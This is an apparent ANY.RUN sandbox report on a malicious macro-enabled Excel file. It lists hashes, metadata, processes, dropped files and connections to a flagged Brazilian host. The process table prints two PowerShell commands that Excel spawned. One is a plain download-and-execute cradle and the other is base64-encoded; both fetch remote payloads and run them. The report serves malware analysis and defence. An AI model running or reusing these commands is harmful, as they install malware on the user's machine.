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File name:

bomfunk-valid.xlsb

Full analysis: https://app.any.run/tasks/47d2c26a-9b45-4f13-b2d6-0f4678af2ac7
Verdict: Malicious activity
Analysis date: July 17, 2019, 07:56:01
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-close
Indicators:
MIME: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
File info: Microsoft Excel 2007+
MD5:

6FEE729BD7F3B4BA6A0EEBC4760889FC

SHA1:

FC9134BEE641855F723776E256B41F4B031B8B05

SHA256:

09F0ECCE67B448167BD0BA59F3CDCED646B59136424B362EF3F472BC741B255E

SSDEEP:

1536:1S07WqOn7xslxDytJkYq8m0Fhq4uaj34WFE1P/MnPf3yZjueOXlus57fv414LLgR:1sqY+kJk3aXb7Y1P0Pf0jYfUO0sblNtO

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 2848)

    • Executes PowerShell scripts

      • EXCEL.EXE (PID: 2848)

  • SUSPICIOUS

    • Application launched itself

      • powershell.exe (PID: 1920)

    • Creates files in the user directory

      • powershell.exe (PID: 1920)
      • powershell.exe (PID: 2556)

    • Executes PowerShell scripts

      • powershell.exe (PID: 1920)

  • INFO

    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 2848)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xlsm | Excel Microsoft Office Open XML Format document (with Macro) (50.8)
.xlsx | Excel Microsoft Office Open XML Format document (30)
.zip | Open Packaging Conventions container (15.4)
.zip | ZIP compressed archive (3.5)

EXIF

XML

AppVersion: 16.03
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
Company: -
TitlesOfParts: Sheet1
HeadingPairs:
  • Worksheets
  • 1
ScaleCrop: No
DocSecurity: None
Application: Microsoft Excel
ModifyDate: 2019:06:26 13:01:27Z
CreateDate: 2019:06:24 04:38:45Z
LastModifiedBy: Joshu

XMP

Creator: Joshu

ZIP

ZipFileName: [Content_Types].xml
ZipUncompressedSize: 1289
ZipCompressedSize: 421
ZipCRC: 0xee83f7bd
ZipModifyDate: 1980:01:01 00:00:00
ZipCompression: Deflated
ZipBitFlag: 0x0006
ZipRequiredVersion: 20
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
37
Monitored processes
3
Malicious processes
1
Suspicious processes
1

Behavior graph

Click at the process to see the details
start excel.exe no specs powershell.exe powershell.exe

Process information

PID
CMD
Path
Indicators
Parent process
2848"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Version:
14.0.6024.1000
1920"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('https://jplymell.com/dmc/ps.ps1')"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2556"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex BYPasS -noP -W HIddEN -eC IAAJAAkACQAJAHMAZQBUAC0AQwBvAE4AVABlAE4AdAAgAAkACQAJAAkACQAtAFYAYQAgACAAIAAoACAAIAAgACAAIAAgACAALgAoACcAbgBlAHcALQBPAEIASgBFAGMAdAAnACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAApAAkACQAJAAkACQBOAGUAdAAuAHcARQBCAGMAbABJAGUAbgBUACAAIAAJACkALgBkAG8AdwBuAEwATwBBAEQARABBAHQAYQAoACAACQAJAAkAIAAdIGgAdAB0AHAAcwA6AC8ALwBqAHAAbAB5AG0AZQBsAGwALgBjAG8AbQAvAG0AYQBpAGwALwBzAG0AYQByAHQAYQBwAHAALgBqAHAAZwAdIAkACQAgACkAIAAJAAkACQAJAC0AZQBuAAkACQAgACAAIAAJAEIAWQB0AGUAIAAgAAkALQBwAGEAVABIAAkACQAgAAkACQAdICQAZQBOAHYAOgBhAFAAUABEAEEAdABhAFwAVwBtAHAAcgBpAHYAZQBsAGUAZwBlAC4AZQB4AGUAHSAgAAkAIAA7ACAACQAJAAkACQAJAAkAaQBOAHYAbwBrAEUALQBFAHgAcAByAGUAcwBTAGkAbwBOACAACQAJAAkACQAgAB0gJABFAE4AVgA6AGEAcABwAEQAYQBUAEEAXABXAG0AcAByAGkAdgBlAGwAZQBnAGUALgBlAHgAZQAdIA==C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 023
Read events
864
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
4
Text files
0
Unknown types
0

Dropped files

PID
Process
Filename
Type
2848EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVRCF65.tmp.cvr —
MD5:—
SHA256:—
1920powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JM3R8XJY9QVIOWXFEIYB.temp —
MD5:—
SHA256:—
2556powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\HI8950DZTWFF9JEVGO42.temp —
MD5:—
SHA256:—
1920powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:53C936F15BA0E898CA1BDCEB3AE9C5FB
SHA256:D7C26FC9FF2065D126D4339D2C20D865B8B2A8399AB7F0A1A3B06F7AD1A36C95
2556powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF186aab.TMPbinary
MD5:53C936F15BA0E898CA1BDCEB3AE9C5FB
SHA256:D7C26FC9FF2065D126D4339D2C20D865B8B2A8399AB7F0A1A3B06F7AD1A36C95
2556powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:53C936F15BA0E898CA1BDCEB3AE9C5FB
SHA256:D7C26FC9FF2065D126D4339D2C20D865B8B2A8399AB7F0A1A3B06F7AD1A36C95
1920powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF186230.TMPbinary
MD5:53C936F15BA0E898CA1BDCEB3AE9C5FB
SHA256:D7C26FC9FF2065D126D4339D2C20D865B8B2A8399AB7F0A1A3B06F7AD1A36C95
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
2
DNS requests
1
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2556
powershell.exe
189.38.24.21:443
jplymell.com
Instituto de Tecnologia Informacao Brasil
BR
malicious
1920
powershell.exe
189.38.24.21:443
jplymell.com
Instituto de Tecnologia Informacao Brasil
BR
malicious

DNS requests

Domain
IP
Reputation
jplymell.com
  • 189.38.24.21
malicious

Threats

Found threats are available for the paid subscriptions
1 ETPRO signatures available at the full report
No debug info
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Reports
bomfunk-valid.xlsb